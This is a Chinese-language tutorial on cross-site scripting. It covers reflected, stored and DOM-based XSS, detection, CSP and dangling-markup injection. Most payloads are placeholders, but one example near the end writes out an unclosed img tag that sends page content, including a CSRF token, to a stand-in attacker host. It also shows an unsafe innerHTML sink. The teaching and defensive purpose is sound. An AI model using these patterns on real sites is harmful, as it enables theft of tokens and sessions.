本文阐述什么是 XSS 攻击、XSS 的几种类型以及如何发现和预防 XSS 攻击。
跨站脚本(XSS)攻击是一种 web 安全漏洞,可以使得攻击者破坏用户与应用之间的正常交互,以及使得攻击者绕过同源策略。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户可以执行的任何操作以及访问用户的任何数据。如果受害用户在应用程序内具有特权访问,那么攻击者可能能够完全控制应用程序的所有功能和数据。一些场景的 XSS 利用方式可以是通过 document.cookie 获取用户的 cookie 然后发送到攻击者控制的服务器,这样攻击者就能够完全拿到用户登录态。
跨站点脚本通过操纵易受攻击的网站来工作,它将恶意 JavaScript 植入到受害网站(存储型 XSS,DOM 型 XSS)或者发送带有恶意代码的受害网站链接给用户诱导点击(反射型 XSS)。当恶意代码在受害者的浏览器中执行时,攻击者可以完全破坏他们与应用程序的交互。
有三种主要类型的 XSS:
反射型 XSS 是最简单的一类 XSS,它出现在应用程序通过 HTTP 请求数据然后将接收的数据以不安全的方式返回给客户端。下面是一个反射型 XSS 的例子:
//insecure-website.com/status?message=All+is+well. // 发送数据
// 将接收的数据渲染到页面
https: <p>Status: All is well.</p>;
服务端没有对数据做任何处理,所以攻击者可以很轻易的构造类似下面这样的攻击:
<!--攻击者提交一段恶意脚本-->
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<!-- 直接渲染在页面-->
<p>Status: <script>/* Bad stuff here... */</script></p>
如果将上面的 URL 发送给用户诱导用户点击,那么攻击者的脚本就会在用户的浏览器以用户的身份执行,因此脚本可以执行任意操作,获取该用户可以访问的任何数据。
最简单的反射型 XSS 示例通常发生在网站搜索框的地方,用户在搜索框内输入 xxx 内容提交,网站通常会返回"你搜索的 xxx 结果如下",如果网站没有对 xxx 进行特殊处理,那么可能就会造成 XSS 攻击。
阅读更多
存储型 XSS(也称持久性 XSS,二阶 XSS)通常出现在应用程序接受一个数据,然后存放到数据库中,数据可能会在随后的其它地方通过 HTTP 响应以不安全的方式返回。
这里的数据可能是通过应用的某个评论接口提交,用户昵称,用户邮箱(如果没严格校验格式),联系方式、或者任何输入表单。这些数据可能都会在某些其它地方进行展示。
下面是一个简单的储存型 XSS 例子,某个应用程序提供一个留言簿的功能,用户可以提交流言,这个留言会在某个其它地方展示给所有用户:
<p>Hello, this is my message!</p>
应用程序没有对数据做任何处理,所以,攻击者可以提交一条类似下面这样的内容:
<p><script>/* Bad stuff here... */</script></p>
阅读更多
基于 DOM 的 XSS(也称 DOM 型 XSS)发生在应用程序内的客户端 JS 脚本以一种不安全的方式处理数据并将数据写回到 DOM 中的场景。
在下面这个例子里,应用程序从输入框中读取用户输入,然后将读取的内容写入到页面 HTML 中:
var search = document.getElementById("search").value;
var results = document.getElementById("results");
results.innerHTML = "You searched for: " + search;
如果攻击者可以控制输入框的值,那么他就可以轻易的控制一个值来触发相应的脚本执行:
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
一些典型的场景是,输入框内容可能是通过 HTTP 请求的部分内容来填充的,比如是 URL 中的 query 字符串,如果是这种的话,攻击者可以发送一个恶意的 URL 来诱导用户点击,从而发起攻击,这种方式和反射型 XSS 非常类似。
阅读更多
攻击者通常可以利用 XSS 漏洞来完成:
XSS 攻击的实际危害通常取决于应用本身的性质,功能以及数据以及被攻击用户的状态,例如:
可以使用Burp Suite的 Web 漏洞扫描工具快速而可靠地找到绝大多数 XSS 漏洞。
手动测试反射型和存储型 XSS 通常涉及向应用程序的每个入口点提交一些简单的特殊输入(例如短字母数字字符串)。识别 HTTP 响应中返回提交的输入的每个位置;并分别测试每个位置,以确定是否可以使用特殊构造的输入来执行任意 JavaScript。
手动测试由 URL 参数引起的 DOM XSS 涉及一个相似的过程:将一些简单的特殊输入放入参数中,使用浏览器的开发者工具在 DOM 中搜索此输入,并测试每个位置以确定是否可利用。但是,其他类型的 DOM XSS 较难检测。要在非基于 URL 的输入(例如 document.cookie)或非基于 HTML 的接收器(如 setTimeout)中发现基于 DOM 的漏洞,只能通过检查 JavaScript 代码来进行,这非常耗时,但也没有特别好的替代方法。 Burp Suite 的 Web 漏洞扫描程序结合了 JavaScript 的静态和动态分析,可以可靠地自动检测 DOM XSS 漏洞。
内容安全策略(CSP, Content security policy)是浏览器的一种机制,用来减少 XSS 以及其它漏洞。如果使用了 CSP 的应用包含类似 XSS 的行为,那么 CSP 可能会阻止利用此漏洞。通常,CSP 可以被绕过以利用潜在的漏洞。
当因为输入过滤或者其他防御手段导致完全的 XSS 利用做不到时,可以利用悬挂标签注入技术来获取跨域数据。通常可以利用它来捕获其他用户可见的敏感信息,包括 CSRF 令牌,这些令牌可用于代表用户执行未经授权的操作。
有些情况下进行,防止 XSS 是很简单的事情,但是有时候也会很复杂,这主要取决应用程序的复杂性及其处理用户可访问数据的方式。
通常,可以通过如下几个有效的手段来防止 XSS:
使用 CSP 防御 dangling markup 攻击
img-src
与其它策略不同, img-src 通常被关注的比较少。通过限制 image 的 source,能够防止敏感信息泄露。比如当攻击者能够注入如下的 img 标签:
<img src='http://some_evil_site.com/log_csrf?html=
可以看到标签是未闭合的,这会导致在遇到下一个匹配的单引号之前的所有内容都会被当作是参数html的值,如果中间的内容包括一些敏感信息,如CSRF token:<form action="https://github.com/account/public_keys/19023812091023">
...
<input type="hidden" name="csrf_token" value="some_csrf_token_value"></form>
当 img 被加载时,则会导致这些内容被当作参数发送到 http://some_evilsite.com/ 。这样的标签被称为 dangling markup ,除了 img 标签之外,还有一些标签页能够窃取敏感信息。通过限制 CSP 的 img-src,就能够缓解这样的情况
end